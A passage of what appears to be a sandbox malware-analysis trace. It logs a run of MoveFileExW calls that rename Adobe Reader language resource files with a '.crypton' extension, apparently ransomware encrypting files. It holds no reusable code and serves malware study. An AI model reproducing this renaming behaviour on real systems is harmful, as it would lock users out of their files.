10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_cl.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CL.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_cl.txt.crypton"), dwFlags=0x2) returned 1 [0156.593] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_co.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CO.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_co.txt.crypton"), dwFlags=0x2) returned 1 [0156.612] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_cr.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CR.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_cr.txt.crypton"), dwFlags=0x2) returned 1 [0156.632] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_DO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_do.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_DO.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_do.txt.crypton"), dwFlags=0x2) returned 1 [0156.651] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_EC.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ec.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_EC.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ec.txt.crypton"), dwFlags=0x2) returned 1 [0156.670] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_es.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_es.txt.crypton"), dwFlags=0x2) returned 1 [0156.689] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_es_preeuro.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES_PREEURO.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_es_preeuro.txt.crypton"), dwFlags=0x2) returned 1 [0156.709] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_GT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_gt.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_GT.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_gt.txt.crypton"), dwFlags=0x2) returned 1 [0156.728] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_HN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_hn.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_HN.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_hn.txt.crypton"), dwFlags=0x2) returned 1 [0156.747] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_MX.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_mx.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_MX.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_mx.txt.crypton"), dwFlags=0x2) returned 1 [0156.765] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_NI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ni.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_NI.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ni.txt.crypton"), dwFlags=0x2) returned 1 [0156.783] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pa.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PA.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pa.txt.crypton"), dwFlags=0x2) returned 1 [0156.801] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pe.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PE.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pe.txt.crypton"), dwFlags=0x2) returned 1 [0156.818] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pr.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PR.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pr.txt.crypton"), dwFlags=0x2) returned 1 [0156.834] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_py.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PY.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_py.txt.crypton"), dwFlags=0x2) returned 1 [0156.851] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_SV.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_sv.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_SV.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_sv.txt.crypton"), dwFlags=0x2) returned 1 [0156.868] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_US.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_us.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_US.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_us.txt.crypton"), dwFlags=0x2) returned 1 [0156.886] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_UY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_uy.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_UY.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_uy.txt.crypton"), dwFlags=0x2) returned 1 [0156.903] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_VE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ve.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_VE.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ve.txt.crypton"), dwFlags=0x2) returned 1 [0156.920] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es__TRADITIONAL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es__traditional.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es__TRADITIONAL.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es__traditional.txt.crypton"), dwFlags=0x2) returned 1 [0156.936] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.et.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.et.txt.crypton"), dwFlags=0x2) returned 1 [0156.953] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et_EE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.et_ee.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et_EE.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.et_ee.txt.crypton"), dwFlags=0x2) returned 1 [0156.970] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi.txt.crypton"), dwFlags=0x2) returned 1 [0156.988] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi_fi.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi_fi.txt.crypton"), dwFlags=0x2) returned 1 [0157.006] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi_fi_preeuro.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI_PREEURO.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi_fi_preeuro.txt.crypton"), dwFlags=0x2) returned 1 [0157.032] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_CA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_ca.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_CA.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_ca.txt.crypton"), dwFlags=0x2) returned 1 [0157.100] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_fr.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_fr.txt.crypton"), dwFlags=0x2) returned 1 [0157.118] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_fr_preeuro.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR_PREEURO.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_fr_preeuro.txt.crypton"), dwFlags=0x2) returned 1 [0157.134] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.he.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.he.txt.crypton"), dwFlags=0x2) returned 1 [0157.151] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he_IL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.he_il.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he_IL.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.he_il.txt.crypton"), dwFlags=0x2) returned 1 [0157.168] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hr.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hr.txt.crypton"), dwFlags=0x2) returned 1 [0157.194] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr_HR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hr_hr.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr_HR.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hr_hr.txt.crypton"), dwFlags=0x2) returned 1 [0157.212] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hu.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hu.txt.crypton"), dwFlags=0x2) returned 1 [0157.229] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu_HU.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hu_hu.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu_HU.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hu_hu.txt.crypton"), dwFlags=0x2) returned 1 [0157.249] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it.txt.crypton"), dwFlags=0x2) returned 1 [0157.267] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_CH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_ch.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_CH.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_ch.txt.crypton"), dwFlags=0x2) returned 1 [0157.285] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_it.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_it.txt.crypton"), dwFlags=0x2) returned 1 [0157.302] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_it_preeuro.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT_PREEURO.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_it_preeuro.txt.crypton"), dwFlags=0x2) returned 1 [0157.319] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja.txt.crypton"), dwFlags=0x2) returned 1 [0157.338] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja_jp.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja_jp.txt.crypton"), dwFlags=0x2) returned 1 [0157.354] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP_TRADITIONAL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja_jp_traditional.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP_TRADITIONAL.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja_jp_traditional.txt.crypton"), dwFlags=0x2) returned 1 [0157.369] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ko.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ko.txt.crypton"), dwFlags=0x2) returned 1 [0157.385] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko_KR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ko_kr.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko_KR.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ko_kr.txt.crypton"), dwFlags=0x2) returned 1 [0157.405] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lt.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lt.txt.crypton"), dwFlags=0x2) returned 1 [0157.422] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt_LT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lt_lt.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt_LT.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lt_lt.txt.crypton"), dwFlags=0x2) returned 1 [0157.439] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lv.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 